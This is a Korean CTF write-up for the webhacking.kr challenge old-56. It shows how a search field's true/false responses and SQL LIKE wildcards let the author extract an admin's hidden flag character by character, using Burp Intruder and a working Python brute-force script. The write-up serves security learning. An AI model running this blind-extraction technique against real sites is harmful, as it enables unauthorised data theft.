본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-56

Write-Up

 

그림 1

 

guest의 글에 접근 시, hello~라는 메시지를 볼 수 있으나, admin의 글에는 접근 권한이 없어 거부된다. 아래 그림 2의 search 창을 보도록 한다. 해당 search 파라미터의 인자 값으로 admin 혹은 guest가 작성한 게시글에 있는 인자 값( 한자리 혹은 여러 자리 )을 입력하면 참 거짓 반응을 확인할 수 있다. 

 

그림 2

 

search 파라미터의 인자 값으로 hello~를 전달해 보았고, 결과는 아래 그림 3과 같았다.

 

그림 3

 

admin의 게시글에는 flag 값이 숨겨져 있을 확률이 높았고, search 파리미터의 인자 값으로 flag를 전달해보았고, 아래 그림 4와 같은 참 반응을 얻을 수 있었다. 

 

그림 4

 

flag 형식이 flag{ 플래그 값} 일 테니, 아래와 같이 버프슈트 인트루더를 활용해 준다. 

 

그림 5

 

인트루더 수행 시, 아래와 같이 Length 값이 다른 response가 있고, 그 값을 획득하여, 이어서 인트루더를 시행해 준다.

 

그림 6

 

해당 과정을 거치다 보면, 최종 flag 값에 도달할 수 있다. 

 

Plus

 

자동화 코드를 통해 인트루더를 사용하지 않고, 문제를 해결 할 수도 있다. 

 

import requests

url = 'https://webhacking.kr/challenge/web-33/index.php'
cookies = {'PHPSESSID':'ubh1koq0lgt12pm7k39fvejfv3'}
result = 'flag{'

for i in range(40):
    for j in range(48,126):
        params = {'search':result+chr(j)}
        response = requests.post(url,data=params,cookies=cookies)
        if 'admin' in response.text:
            result += chr(j)
            print("old-challenge-flag-is: {}".format(result))
            break
print(result)

 

 

참고

 

search 파리미터에 _( 밑줄) 값을 넣으니, guest, admin 게시글이 모두 반환되었다. _ 6개 입력 시까지 , guest 가 반환되었고, admin은 _ 44개까지 반환되었다. 처음에는 _ 의 용도를 모르고, 단순히 문자열 길이라고 판단하였으나, _ 는 와일드카드 문자였다. 어쩐지 % 를 대입했을때도 두 게시글 모두 반환되는 것을 볼 수 있는데 이또한 와일드 카드이기 때문이다. 

 

그렇다면, SQL의 와일드 카드 문자란 무엇일까?

 

와일드카드 문자는 문자열의 다른 문자를 대체하는 데 사용된다. 와일드카드 문자는 SQL LIKE 연산자와 함께 사용된다. ( LIKE 연산자는 WHERE 절에서 열의 지정된 패턴을 검색하는 데 사용된다. )

% : 0개 이상의 문자로 구성된 문자열과 일치한다. 이 와일드카드 문자는 접두사, 접미사 또는 문자열 중간에 사용할 수 있다.  
_ : 문자열 비교 작업에서 단일 문자를 일치시키려면 밑줄 문자 _ 를 사용한다. 

 

 

참고 링크

 

https://learn.microsoft.com/en-us/sql/t-sql/language-elements/percent-character-wildcard-character-s-to-match-transact-sql?view=sql-server-ver16